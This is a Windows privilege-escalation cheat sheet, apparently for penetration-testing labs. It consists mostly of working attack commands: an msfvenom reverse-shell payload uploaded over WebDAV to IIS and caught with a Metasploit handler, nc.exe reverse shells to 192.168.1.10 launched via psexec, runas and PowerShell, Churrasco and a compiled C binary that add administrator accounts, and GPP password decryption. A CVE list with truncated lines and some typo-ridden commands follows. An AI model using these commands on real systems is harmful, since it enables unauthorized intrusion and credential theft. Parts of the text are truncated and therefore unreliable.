

# Windows

Windows Privilege Escalation resource  
<http://www.fuzzysecurity.com/tutorials/16.html>

Try the getsystem command using meterpreter - rarely works but is worth a try.  
`meterpreter > getsystem`

Metasploit Meterpreter Privilege Escalation Guide  
<https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/>

Windows Server 2003 and IIS 6.0 WEBDAV Exploiting  
<http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html>

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt
```

```
cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt':
Progress: [=====] 100.0% of 38468 bytes succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.
dav:/> exit
```

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.2.3.4
msf exploit(handler) > set LPORT 80
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
```

```
curl http://$ip/aspshell3.asp;.txt
```

```
[*] Started reverse TCP handler on 1.2.3.4:443
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 1.2.3.5
[*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700
```

Windows privilege escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller

```
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
```

Windows Server 2003 and IIS 6.0 privilege escalation using impersonation:

<https://www.exploit-db.com/exploits/6705/>

<https://github.com/Re4son/Churrasco>

c:\Inetpub>churrasco

churrasco

/churrasco/-->Usage: Churrasco.exe [-d] "command to run"

c:\Inetpub>churrasco -d "net user /add <username> <password>"

c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"

c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"

Windows MS11-080 - <http://www.exploit-db.com/exploits/18176/>

```
python pyinstaller.py --onefile ms11-080.py
```

```
mx11-080.exe -O XP
```

Powershell Exploits - You may find that some Windows privilege escalation exploits are written in Powershell. You may n

MS16-032 <https://www.exploit-db.com/exploits/39719/>

```
`powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"``
```

Powershell Priv Escalation Tools

<https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>

Windows Run As - Switching users in linux is trivial with the `SU` command. However, an equivalent command does not exist in Windows.

Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have the user's password.

```
C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
```

PsExec v2.2 - Execute processes remotely  
Copyright (C) 2001-2016 Mark Russinovich  
Sysinternals - [www.sysinternals.com](http://www.sysinternals.com)

Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know their password.

```
C:\>C:\Windows\System32\runas.exe /env /nopprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
Enter the password for Test:
Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
```

PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as a specific user.

```
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10")
```

Next run this script using powershell.exe:

```
`powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
```

Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.

```
icacls scsiaccess.exe
```

```
scsiaccess.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)
```

Compile a custom add user command in windows using C

```
root@kali:~\# cat useradd.c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
    int i;
    i=system ("net localgroup administrators low /add");
    return 0;
}
```

```
i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
```

Group Policy Preferences (GPP)

A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files

map the Domain controller SYSVOL share  
`net use z:\\dc01\sysvol`

Find the GPP file: Groups.xml  
`dir /s Groups.xml`

Review the contents for passwords

```
`type Groups.xml`
```

Decrypt using GPP Decrypt

```
`gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZlIfxtgI67qqZfgh78kBZB`
```

Find and display the proof.txt or flag.txt - get the loot!

```
`#meterpreter > run post/windows/gather/win_privs`
```

```
`cd\ & dir /b /s proof.txt`
```

```
`type c:\pathto\proof.txt`
```

#### Windows Priv Esc ####

Fuzzy Security

[\*<http://www.fuzzysecurity.com/tutorials/16.html>](<http://www.fuzzysecurity.com/tutorials/16.html>)

accesschk.exe

<https://technet.microsoft.com/en-us/sysinternals/bb664922>

Windows Priv Escalation For Pen Testers

<https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/>

Elevating Privileges to Admin and Further

<https://hackmag.com/security/elevating-privileges-to-administrative-and-further/>

Transfer files to windows machines

<https://blog.netspi.com/15-ways-to-download-a-file/>

[+] Windows vulnerabilities:

Windows XP:

CVE-2012-4349	Unquoted windows search path - Windows provides the capability of including spaces in path names -
CVE-2011-1345	Internet Explorer does not properly handle objects in memory - allows remote execution of code via
CVE-2010-3138	EXPLOIT-DB 14765 - Untrusted search path vulnerability - allows local users to gain privileges via
CVE-2011-5046	EXPLOIT-DB 18275 - GDI in windows does not properly validate user-mode input - allows remote code
CVE-2002-1214	ms02_063_pptp_dos - exploits a kernel based overflow when sending abnormal PPTP Control Data packe
CVE-2003-0352	ms03_026_dcom - exploits a stack buffer overflow in the RPCSS service
CVE-2003-0533	MS04-011 - ms04_011_lsass - exploits a stack buffer overflow in the LSASS service
CVE-2003-0719	ms04_011_pct - exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack - Privat
CVE-2010-3970	ms11_006_createsizeddibsection - exploits a stack-based buffer overflow in thumbnails within .MIC
CVE-2010-3147	EXPLOIT-DB 14745 - Untrusted search path vulnerability in wab.exe - allows local users to gain pri
CVE-2003-0812	ms03_049_netapi - exploits a stack buffer overflow in the NetApi32
CVE-2003-0818	ms04_007_killbill - vulnerability in the bit string decoding code in the Microsoft ASN.1 library
CVE-2003-0822	ms03_051_fp30reg_chunked - exploit for the chunked encoding buffer overflow described in MS03-051
CVE-2004-0206	ms04_031_netdde - exploits a stack buffer overflow in the NetDDE service

Windows 7:

CVE-2014-4114	ms14_060_sandworm - exploits a vulnerability found in Windows Object Linking and Embedding - arbit
CVE-2015-0016	ms15_004_tswbproxy - abuses a process creation policy in Internet Explorer's sandbox - code execu
CVE-2014-4113	ms14_058_track_popup_menu - exploits a NULL Pointer Dereference in win32k.sys - arbitrary code exe
CVE-2010-3227	EXPLOIT-DB - Stack-based buffer overflow in the UpdateFrameTitleForDocument method - arbitrary cod
CVE-2018-8494	remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser proces
CVE-2010-2744	EXPLOIT-DB 15894 - kernel-mode drivers in windows do not properly manage a window class - allows p
CVE-2010-0017	ms10_006_negotiate_response_loop - exploits a denial of service flaw in the Microsoft Windows SMB
CVE-2010-0232	ms10_015_kitrap0d - create a new session with SYSTEM privileges via the KiTrap0D exploit
CVE-2010-2550	ms10_054_queryfs_pool_overflow - exploits a denial of service flaw in the Microsoft Windows SMB se
CVE-2010-2568	ms10_046_shortcut_icon_dllloader - exploits a vulnerability in the handling of Windows Shortcut fi

Windows 8:

CVE-2013-0008	ms13_005_hwnd_broadcast - attacker can broadcast commands from lower Integrity Level process to a
CVE-2013-1300	ms13_053_schlamperrei - kernel pool overflow in Win32k - local privilege escalation
CVE-2013-3660	ppr_flatten_rec - exploits EPATHOBJ::pprFlattenRec due to the usage of uninitialized data - allows
CVE-2013-3918	ms13_090_cardspacesigninhelper - exploits CardSpaceClaimCollection class from the icardie.dll Acti
CVE-2013-7331	ms14_052_xmldom - uses Microsoft XMLDOM object to enumerate a remote machine's filenames
CVE-2014-6324	ms14_068_kerberos_checksum - exploits the Microsoft Kerberos implementation - privilege escalation
CVE-2014-6332	ms14_064_ole_code_execution - exploits the Windows OLE Automation array vulnerability
CVE-2014-6352	ms14_064_packager_python - exploits Windows Object Linking and Embedding (OLE) - arbitrary code ex
CVE-2015-0002	ntapphelpcachecontrol - NtApphelpCacheControl Improper Authorization Check - privilege escalation

Windows 10:

CVE-2015-1769	MS15-085 - Vulnerability in Mount Manager - Could Allow Elevation of Privilege
CVE-2015-2426	ms15_078_atmfd_bof MS15-078 - exploits a pool based buffer overflow in the atmfd.dll driver

CVE-2015-2479	MS15-092 - Vulnerabilities in .NET Framework - Allows Elevation of Privilege
CVE-2015-2513	MS15-098 - Vulnerabilities in Windows Journal - Could Allow Remote Code Execution
CVE-2015-2423	MS15-088 - Unsafe Command Line Parameter Passing - Could Allow Information Disclosure
CVE-2015-2431	MS15-080 - Vulnerabilities in Microsoft Graphics Component - Could Allow Remote Code Execution
CVE-2015-2441	MS15-091 - Vulnerabilities exist when Microsoft Edge improperly accesses objects in memory - allow
CVE-2015-0057	exploits GUI component of Windows namely the scrollbar element - allows complete control of a Wind

Windows Server 2003:

CVE-2008-4114	ms09_001_write - exploits a denial of service vulnerability in the SRV.SYS driver - DoS
CVE-2008-4250	ms08_067_netapi - exploits a parsing flaw in the path canonicalization code of NetAPI32.dll - byp
CVE-2017-8487	allows an attacker to execute code when a victim opens a specially crafted file - remote code exec